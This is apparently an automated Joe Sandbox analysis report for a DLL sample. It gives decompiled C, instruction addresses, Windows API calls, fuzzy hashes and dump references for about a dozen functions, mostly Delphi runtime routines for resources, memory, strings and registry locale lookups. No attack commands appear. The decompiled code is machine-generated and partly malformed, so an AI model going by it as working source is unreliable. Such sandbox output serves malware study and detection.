Function 00B2B20C Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00B2B20C(void* __eax, struct HINSTANCE__* __edx) {
				intOrPtr _v8;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t10;
				intOrPtr _t15;
				struct HINSTANCE__* _t20;
				intOrPtr* _t22;
				intOrPtr _t30;
				void* _t32;
				intOrPtr* _t35;
				intOrPtr _t38;
				intOrPtr _t40;

				_t38 = _t40;
				_push(_t22);
				_t35 = _t22;
				_t20 = __edx;
				_t32 = __eax;
				if(__edx == 0) {
					_t20 =  *0xbdf668; // 0xb10000
				}
				_t10 = FindResourceA(_t20, E00B146E8(_t32), 0xa) & 0xffffff00 | _t9 != 0x00000000;
				_t43 = _t10;
				if(_t10 == 0) {
					return _t10;
				} else {
					_v8 = E00B2DCDC(_t20, 1, 0xa, _t32);
					_push(_t38);
					_push(0xb2b280);
					_push( *[fs:eax]);
					 *[fs:eax] = _t40;
					_t15 = E00B2D658(_v8, _t20,  *_t35, _t32, _t35, _t43); // executed
					 *_t35 = _t15;
					_pop(_t30);
					 *[fs:eax] = _t30;
					_push(E00B2B287);
					return E00B13380(_v8);
				}
			}

0x00b2b20d
0x00b2b20f
0x00b2b213
0x00b2b215
0x00b2b217
0x00b2b21b
0x00b2b21d
0x00b2b21d
0x00b2b235
0x00b2b238
0x00b2b23a
0x00b2b28e
0x00b2b23c
0x00b2b24d
0x00b2b252
0x00b2b253
0x00b2b258
0x00b2b25b
0x00b2b263
0x00b2b268
0x00b2b26c
0x00b2b26f
0x00b2b272
0x00b2b27f
0x00b2b27f

APIs

FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 00B2B22E

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: 5b1332b0a23761d912515da914609e6306293b782e95674db2d5c40777469010
Instruction ID: 9657b8c277bfc1612b59c163f40a8590a8f30dce05584b6512e7b5421455688d
Opcode Fuzzy Hash: 5b1332b0a23761d912515da914609e6306293b782e95674db2d5c40777469010
Instruction Fuzzy Hash: 6601DF31304304AFE710DB69FC92D6AB7EDDB8A71076144BAF508D7651DE619C018260

Uniqueness

Uniqueness Score: -1.00%

Function 00B2DDA4 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00B2DDA4(void* __eax, struct HINSTANCE__* __edx, CHAR* _a4) {
				CHAR* _v8;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HRSRC__* _t12;
				void* _t18;
				void* _t23;
				CHAR* _t24;
				void* _t25;
				struct HRSRC__* _t29;
				void* _t30;
				struct HINSTANCE__* _t31;
				void* _t32;

				_v8 = _t24;
				_t31 = __edx;
				_t23 = __eax;
				_t12 = FindResourceA(__edx, _v8, _a4); // executed
				_t29 = _t12;
				 *(_t23 + 0x10) = _t29;
				_t33 = _t29;
				if(_t29 == 0) {
					E00B2DD34(_t23, _t24, _t29, _t31, _t33, _t32);
					_pop(_t24);
				}
				_t5 = _t23 + 0x10; // 0xb2de48
				_t30 = LoadResource(_t31,  *_t5);
				 *(_t23 + 0x14) = _t30;
				_t34 = _t30;
				if(_t30 == 0) {
					E00B2DD34(_t23, _t24, _t30, _t31, _t34, _t32);
				}
				_t7 = _t23 + 0x10; // 0xb2de48
				_push(SizeofResource(_t31,  *_t7));
				_t8 = _t23 + 0x14; // 0xb2d988
				_t18 = LockResource( *_t8);
				_pop(_t25);
				return E00B2D948(_t23, _t25, _t18);
			}

0x00b2ddab
0x00b2ddae
0x00b2ddb0
0x00b2ddbb
0x00b2ddc0
0x00b2ddc2
0x00b2ddc5
0x00b2ddc7
0x00b2ddca
0x00b2ddcf
0x00b2ddcf
0x00b2ddd0
0x00b2ddda
0x00b2dddc
0x00b2dddf
0x00b2dde1
0x00b2dde4
0x00b2dde9
0x00b2ddea
0x00b2ddf4
0x00b2ddf5
0x00b2ddf9
0x00b2de02
0x00b2de0d

APIs

FindResourceA.KERNEL32(00000000,?,?), ref: 00B2DDBB
LoadResource.KERNEL32(00000000,00B2DE48,00000000,?,?,00B29AC8,00000000,00000001,00000000,?,00B2DD14,?,?,00B2B4C6,00000000), ref: 00B2DDD5
SizeofResource.KERNEL32(00000000,00B2DE48,00000000,00B2DE48,00000000,?,?,00B29AC8,00000000,00000001,00000000,?,00B2DD14,?,?,00B2B4C6), ref: 00B2DDEF
LockResource.KERNEL32(00B2D988,00000000,00000000,00B2DE48,00000000,00B2DE48,00000000,?,?,00B29AC8,00000000,00000001,00000000,?,00B2DD14,?), ref: 00B2DDF9

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: e0f9c00353409598e5e2768b8fa927d36c29e3d16e926a6810523d72146c99a3
Instruction ID: cbe53fc07543b91c145f95c958d8d6c694cf5d047ab617ea6bb067277f992b15
Opcode Fuzzy Hash: e0f9c00353409598e5e2768b8fa927d36c29e3d16e926a6810523d72146c99a3
Instruction Fuzzy Hash: 68F031B36056146F5744EF5CF881DAB77ECEE883A032005A9F90CC7206DA35ED414775

Uniqueness

Uniqueness Score: -1.00%

Function 00B11C0C Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00B11C0C() {
				void* _t11;
				signed int _t13;
				intOrPtr _t19;
				void* _t20;
				intOrPtr _t23;

				_push(_t23);
				_push(E00B11CC2);
				_push( *[fs:edx]);
				 *[fs:edx] = _t23;
				_push(0xbdf5cc);
				L00B11560();
				if( *0xbdf04d != 0) {
					_push(0xbdf5cc);
					L00B11568();
				}
				E00B115D0(0xbdf5ec);
				E00B115D0(0xbdf5fc);
				E00B115D0(0xbdf628);
				_t11 = LocalAlloc(0, 0xff8); // executed
				 *0xbdf624 = _t11;
				if( *0xbdf624 != 0) {
					_t13 = 3;
					do {
						_t20 =  *0xbdf624; // 0xa34878
						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
						_t13 = _t13 + 1;
					} while (_t13 != 0x401);
					 *((intOrPtr*)(0xbdf610)) = 0xbdf60c;
					 *0xbdf60c = 0xbdf60c;
					 *0xbdf618 = 0xbdf60c;
					 *0xbdf5c4 = 1;
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(E00B11CC9);
				if( *0xbdf04d != 0) {
					_push(0xbdf5cc);
					L00B11570();
					return 0;
				}
				return 0;
			}

0x00b11c11
0x00b11c12
0x00b11c17
0x00b11c1a
0x00b11c1d
0x00b11c22
0x00b11c2e
0x00b11c30
0x00b11c35
0x00b11c35
0x00b11c3f
0x00b11c49
0x00b11c53
0x00b11c5f
0x00b11c64
0x00b11c70
0x00b11c72
0x00b11c77
0x00b11c77
0x00b11c7f
0x00b11c83
0x00b11c84
0x00b11c90
0x00b11c93
0x00b11c95
0x00b11c9a
0x00b11c9a
0x00b11ca3
0x00b11ca6
0x00b11ca9
0x00b11cb5
0x00b11cb7
0x00b11cbc
0x00000000
0x00b11cbc
0x00b11cc1

APIs

RtlInitializeCriticalSection.KERNEL32(00BDF5CC,00000000,00B11CC2,?,?,00B124A6), ref: 00B11C22
RtlEnterCriticalSection.KERNEL32(00BDF5CC,00BDF5CC,00000000,00B11CC2,?,?,00B124A6), ref: 00B11C35
LocalAlloc.KERNEL32(00000000,00000FF8,00BDF5CC,00000000,00B11CC2,?,?,00B124A6), ref: 00B11C5F
RtlLeaveCriticalSection.KERNEL32(00BDF5CC,00B11CC9,00000000,00B11CC2,?,?,00B124A6), ref: 00B11CBC

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 6b236a2a752442507edc511e86a4311ebb0338bb8f050bfbbb7c9d8339b42d6f
Instruction ID: 23f83d25014e548520b819d68d42b45063003c388081e8b1e035e0ae2a2ec538
Opcode Fuzzy Hash: 6b236a2a752442507edc511e86a4311ebb0338bb8f050bfbbb7c9d8339b42d6f
Instruction Fuzzy Hash: 1C018EB064E2425AD311AF2CA9167B4B7C1D7A5744F8088F7E203CB7E2F9B48880CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00BDB88C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			_entry_(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t19;
				intOrPtr _t21;
				void* _t26;

				E00B167F0(0xbdb444);
				_push(_t26);
				_push(0xbdb8f4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t26 + 0xffffffc4;
				E00B1427C(0xbdff60, 0xbdb908);
				_t19 =  *0xbdff60; // 0x2652014
				E00B14534(0xbdff64, 0xbdb914, _t19);
				LoadLibraryA("ggr"); // executed
				E00B44F74(__ebx, 0, 1, __edi, __esi); // executed
				_pop(_t21);
				 *[fs:eax] = _t21;
				_push(0xbdb8fb);
				return 0;
			}

0x00bdb897
0x00bdb89e
0x00bdb89f
0x00bdb8a4
0x00bdb8a7
0x00bdb8b4
0x00bdb8c3
0x00bdb8c9
0x00bdb8d3
0x00bdb8e1
0x00bdb8e8
0x00bdb8eb
0x00bdb8ee
0x00bdb8f3

APIs

LoadLibraryA.KERNEL32(ggr,00000000,00BDB8F4), ref: 00BDB8D3

Strings

ggr, xrefs: 00BDB8CE

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: LibraryLoad
String ID: ggr
API String ID: 1029625771-644803015
Opcode ID: c8d3dc0077b6dd52081993e03fbc9518755ec1c0817d5bddde71114c3e5e2a8b
Instruction ID: 7f348465e5a983b74210d5cc56789bf781351f75661d33db2355605df6a9c4bd
Opcode Fuzzy Hash: c8d3dc0077b6dd52081993e03fbc9518755ec1c0817d5bddde71114c3e5e2a8b
Instruction Fuzzy Hash: 19F0E5313092458B8705A7ACAC73C29F3C9D78AF0439204F3F501837A1FF259D10D651

Uniqueness

Uniqueness Score: -1.00%

Function 00B122F8 Relevance: 3.1, APIs: 2, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B11C0C: RtlInitializeCriticalSection.KERNEL32(00BDF5CC,00000000,00B11CC2,?,?,00B124A6), ref: 00B11C22
Part of subcall function 00B11C0C: RtlEnterCriticalSection.KERNEL32(00BDF5CC,00BDF5CC,00000000,00B11CC2,?,?,00B124A6), ref: 00B11C35
Part of subcall function 00B11C0C: LocalAlloc.KERNEL32(00000000,00000FF8,00BDF5CC,00000000,00B11CC2,?,?,00B124A6), ref: 00B11C5F
Part of subcall function 00B11C0C: RtlLeaveCriticalSection.KERNEL32(00BDF5CC,00B11CC9,00000000,00B11CC2,?,?,00B124A6), ref: 00B11CBC

RtlEnterCriticalSection.KERNEL32(00BDF5CC,00000000,00B12474), ref: 00B12343
RtlLeaveCriticalSection.KERNEL32(00BDF5CC,00B1247B), ref: 00B1246E

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID:
API String ID: 2227675388-0
Opcode ID: c2dafca9ccef5e7a873bf1cfe04d5ca0d6ada778caec018e4c5b1fbb55fc420f
Instruction ID: d0c1fa253e576c14f9408961fcc96872ee1fbd364991fae4a0633385942b54cb
Opcode Fuzzy Hash: c2dafca9ccef5e7a873bf1cfe04d5ca0d6ada778caec018e4c5b1fbb55fc420f
Instruction Fuzzy Hash: 5741D3B1A053028FDB14CF28FC912B9B7E0F755314B9481FAD412C77A1F6349991CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00B14970 Relevance: 3.0, APIs: 2, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E00B14970(signed int __eax, void* __edx) {
				signed int _t4;
				void* _t5;
				signed char _t16;
				void* _t18;
				void* _t19;
				void* _t23;

				_t18 = __edx;
				_t4 = __eax;
				if(__edx == 0) {
					L10:
					_t19 =  *_t4;
					if(_t19 != 0) {
						 *_t4 = 0;
						_push(_t4);
						L00B114F4();
						_t5 = _t19;
						return _t5;
					}
					return _t4;
				} else {
					__ecx =  *(__edx - 4);
					__ecx =  *(__edx - 4) >> 1;
					if(__ecx == 0) {
						goto L10;
					} else {
						_push(__ecx);
						_push(__edx);
						_push(__eax); // executed
						L00B114EC(); // executed
						if(__eax == 0) {
							__eax = __eax & 0x0000007f;
							__edx =  *__esp;
							_t23 = _t18;
							_t16 = _t4 & 0x0000007f;
							if( *0xbdf008 != 0) {
								 *0xbdf008();
							}
							if(_t16 != 0) {
								if(_t16 <= 0x18) {
									_t2 = _t16 + 0xbdc048; // 0xd7c9c8cc
									_t16 =  *_t2;
								}
							} else {
								_t16 =  *(E00B167A4() + 4);
							}
							return E00B129D0(_t23);
						} else {
							return __eax;
						}
					}
				}
			}

0x00b14970
0x00b14970
0x00b14972
0x00b14934
0x00b14934
0x00b14938
0x00b1493a
0x00b14940
0x00b14942
0x00b14947
0x00000000
0x00b14947
0x00b14948
0x00b14978
0x00b14978
0x00b1497b
0x00b1497d
0x00000000
0x00b14983
0x00b14983
0x00b14984
0x00b14985
0x00b14986
0x00b1498d
0x00b12a28
0x00b12a2b
0x00b129de
0x00b129e2
0x00b129ec
0x00b129f2
0x00b129f2
0x00b129fa
0x00b12a0c
0x00b12a12
0x00b12a12
0x00b12a12
0x00b129fc
0x00b12a01
0x00b12a01
0x00b12a25
0x00b14993
0x00b14993
0x00b14993
0x00b1498d
0x00b1497d

APIs

SysFreeString.OLEAUT32 ref: 00B14942
SysReAllocStringLen.OLEAUT32(?,?,?), ref: 00B14986

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 30af372732d717d2b7e7ea3a8fde1a8ae9bbb0e328117705c45d18cc1208a5f5
Instruction ID: 698c2db9dafab957ba9b97ebbb3949ef616e65f80156074585bef76df31e4f4e
Opcode Fuzzy Hash: 30af372732d717d2b7e7ea3a8fde1a8ae9bbb0e328117705c45d18cc1208a5f5
Instruction Fuzzy Hash: D5D012B85011015DEA249A288841BB722EDDBD2B40BED89E8B4015B245DB349D80DB30

Uniqueness

Uniqueness Score: -1.00%

Function 00B14A28 Relevance: 3.0, APIs: 2, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00B14A28(signed int __eax, void* __ecx, void* __edx) {
				void* _t4;
				signed char _t15;
				void* _t18;
				void* _t19;
				void* _t23;

				_t18 = __edx;
				_t3 = __eax;
				if(__ecx == 0) {
					_t19 =  *__eax;
					if(_t19 != 0) {
						 *__eax = 0;
						_push(__eax);
						L00B114F4();
						_t4 = _t19;
						return _t4;
					}
					return __eax;
				} else {
					_push(__eax);
					_push(__ecx);
					_push(__edx); // executed
					L00B114E4(); // executed
					if(__eax == 0) {
						__eax = __eax & 0x0000007f;
						__edx =  *__esp;
						_t23 = _t18;
						_t15 = _t3 & 0x0000007f;
						if( *0xbdf008 != 0) {
							 *0xbdf008();
						}
						if(_t15 != 0) {
							if(_t15 <= 0x18) {
								_t2 = _t15 + 0xbdc048; // 0xd7c9c8cc
								_t15 =  *_t2;
							}
						} else {
							_t15 =  *(E00B167A4() + 4);
						}
						return E00B129D0(_t23);
					} else {
						_pop(__edx);
						_push( *__edx);
						 *__edx = __eax;
						L00B114F4();
						return __eax;
					}
				}
			}

0x00b14a28
0x00b14a28
0x00b14a2a
0x00b14934
0x00b14938
0x00b1493a
0x00b14940
0x00b14942
0x00b14947
0x00000000
0x00b14947
0x00b14948
0x00b14a30
0x00b14a30
0x00b14a31
0x00b14a32
0x00b14a33
0x00b14a3a
0x00b12a28
0x00b12a2b
0x00b129de
0x00b129e2
0x00b129ec
0x00b129f2
0x00b129f2
0x00b129fa
0x00b12a0c
0x00b12a12
0x00b12a12
0x00b12a12
0x00b129fc
0x00b12a01
0x00b12a01
0x00b12a25
0x00b14a40
0x00b14a40
0x00b14a41
0x00b14a43
0x00b14a45
0x00b14a4a
0x00b14a4a
0x00b14a3a

APIs

SysFreeString.OLEAUT32 ref: 00B14942
SysAllocStringLen.OLEAUT32(?,?), ref: 00B14A33
SysFreeString.OLEAUT32(00000000), ref: 00B14A45

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 7cb16d255c1eead8cba927419972f0c082703771b48429d5ed4271250b9f85eb
Instruction ID: 15b4ed4598a4b52a6fe961cba3460296aed970a9be1de5577cf169377a63e822
Opcode Fuzzy Hash: 7cb16d255c1eead8cba927419972f0c082703771b48429d5ed4271250b9f85eb
Instruction Fuzzy Hash: 06C012B81122026CEA292B7449028FB67D8EE827447C808F9B90085202DA28C8D2A920

Uniqueness

Uniqueness Score: -1.00%

Function 00B11724 Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00B11724(void* __eax, void** __edx) {
				void* _t3;
				void** _t8;
				void* _t11;
				long _t14;

				_t8 = __edx;
				if(__eax >= 0x100000) {
					_t14 = __eax + 0x0000ffff & 0xffff0000;
				} else {
					_t14 = 0x100000;
				}
				_t8[1] = _t14;
				_t3 = VirtualAlloc(0, _t14, 0x2000, 1); // executed
				_t11 = _t3;
				 *_t8 = _t11;
				if(_t11 != 0) {
					_t3 = E00B115D8(0xbdf5ec, _t8);
					if(_t3 == 0) {
						VirtualFree( *_t8, 0, 0x8000);
						 *_t8 = 0;
						return 0;
					}
				}
				return _t3;
			}

0x00b11727
0x00b11731
0x00b11740
0x00b11733
0x00b11733
0x00b11733
0x00b11746
0x00b11753
0x00b11758
0x00b1175a
0x00b1175e
0x00b11767
0x00b1176e
0x00b1177a
0x00b11781
0x00000000
0x00b11781
0x00b1176e
0x00b11786

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00B11A2D), ref: 00B11753
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00B11A2D), ref: 00B1177A

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: d54bebd3495fe6518873a17e804f4eeabb9162f958f1b8aca1587c65e3dcaab5
Instruction ID: 2a6a87adfd103a1698eed247ea392956c5db3815c503fa4aa5e85720fd1a65a7
Opcode Fuzzy Hash: d54bebd3495fe6518873a17e804f4eeabb9162f958f1b8aca1587c65e3dcaab5
Instruction Fuzzy Hash: 6EF027B3F0022017DB61596D4CC1BD256C6DF957A0F6404F0FB0CEF3C8D6A18C8182A1

Uniqueness

Uniqueness Score: -1.00%

Function 00B175D8 Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00B175D8(long __eax, CHAR* __edx, void* _a4, struct HINSTANCE__* _a8, struct HMENU__* _a12, struct HWND__* _a16, int _a20, int _a24, int _a28, int _a32, long _a36) {
				CHAR* _v8;
				void* _t13;
				struct HWND__* _t24;
				CHAR* _t29;
				long _t32;

				_v8 = _t29;
				_t32 = __eax;
				_t13 = E00B12B24();
				_t24 = CreateWindowExA(_t32, __edx, _v8, _a36, _a32, _a28, _a24, _a20, _a16, _a12, _a8, _a4); // executed
				E00B12B14(_t13);
				return _t24;
			}

0x00b175df
0x00b175e4
0x00b175e6
0x00b17617
0x00b17620
0x00b1762c

APIs

CreateWindowExA.USER32 ref: 00B17617

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: a672b2eb1d9e3a805781367aad54b4842a78cc4b7917898f4b96461fb7ca0a24
Instruction ID: 0874dc00bc0ddb64ebcd8e648a6d8fb0b5a9ba91214076d7db88a2bed329aae0
Opcode Fuzzy Hash: a672b2eb1d9e3a805781367aad54b4842a78cc4b7917898f4b96461fb7ca0a24
Instruction Fuzzy Hash: 38F07AB2604118AF8B84DE9DEC81EDB77ECEB4C2A0B054165BA0CD3201D634ED518BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B159B8 Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00B159B8(void* __eax) {
				char _v272;
				intOrPtr _t14;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;

				_t16 = __eax;
				if( *((intOrPtr*)(__eax + 0x10)) == 0) {
					_t3 = _t16 + 4; // 0xb10000
					GetModuleFileNameA( *_t3,  &_v272, 0x105);
					_t14 = E00B15BF4(_t19); // executed
					_t18 = _t14;
					 *((intOrPtr*)(_t16 + 0x10)) = _t18;
					if(_t18 == 0) {
						_t5 = _t16 + 4; // 0xb10000
						 *((intOrPtr*)(_t16 + 0x10)) =  *_t5;
					}
				}
				_t7 = _t16 + 0x10; // 0xb10000
				return  *_t7;
			}

0x00b159c0
0x00b159c6
0x00b159d2
0x00b159d6
0x00b159df
0x00b159e4
0x00b159e6
0x00b159eb
0x00b159ed
0x00b159f0
0x00b159f0
0x00b159eb
0x00b159f3
0x00b159fe

APIs

GetModuleFileNameA.KERNEL32(00B10000,?,00000105,108B00BD,00000000,00B15A20,00B2B3E4,?,00000000,00B2B40A,?,?,00000000,?,00B2B483), ref: 00B159D6

Part of subcall function 00B15BF4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,108B00BD,00BDC0A4), ref: 00B15C10
Part of subcall function 00B15BF4: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,108B00BD,00BDC0A4), ref: 00B15C2E
Part of subcall function 00B15BF4: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,108B00BD,00BDC0A4), ref: 00B15C4C
Part of subcall function 00B15BF4: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 00B15C6A
Part of subcall function 00B15BF4: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,00B15CF9,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 00B15CB3
Part of subcall function 00B15BF4: RegQueryValueExA.ADVAPI32(?,00B15E60,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,00B15CF9,?,80000001), ref: 00B15CD1
Part of subcall function 00B15BF4: RegCloseKey.ADVAPI32(?,00B15D00,00000000,?,?,00000000,00B15CF9,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 00B15CF3

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: c92e517641b2b4fd91be27f2a27198873e27df336b57998948ba745165383069
Instruction ID: fcbd639cc3fce67fda112e03381b3d93a8a64253f66c4b41ed78b90942776c64
Opcode Fuzzy Hash: c92e517641b2b4fd91be27f2a27198873e27df336b57998948ba745165383069
Instruction Fuzzy Hash: 36E0ED71A00614DBCB20DF9CC8C1A8637D8AB48764F444A92AD54CF346D7B5DD948BD5

Uniqueness

Uniqueness Score: -1.00%

Function 00B18930 Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00B18930(void* __eax, void* __edx) {
				int _t3;
				char* _t5;
				int _t7;
				int _t10;
				void* _t12;

				_t12 = __eax;
				_t3 = E00B144E8(__edx);
				_t5 = E00B146E8(__edx);
				_t7 = E00B144E8(_t12);
				_t10 = CompareStringA(0x400, 1, E00B146E8(_t12), _t7, _t5, _t3); // executed
				return _t10 - 2;
			}

0x00b18934
0x00b18938
0x00b18940
0x00b18948
0x00b1895d
0x00b18967

APIs

CompareStringA.KERNEL32(00000400,00000001,00000000,00000000,00000000,00000000,?,?,00B18977,?,?,00B18D71), ref: 00B1895D

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
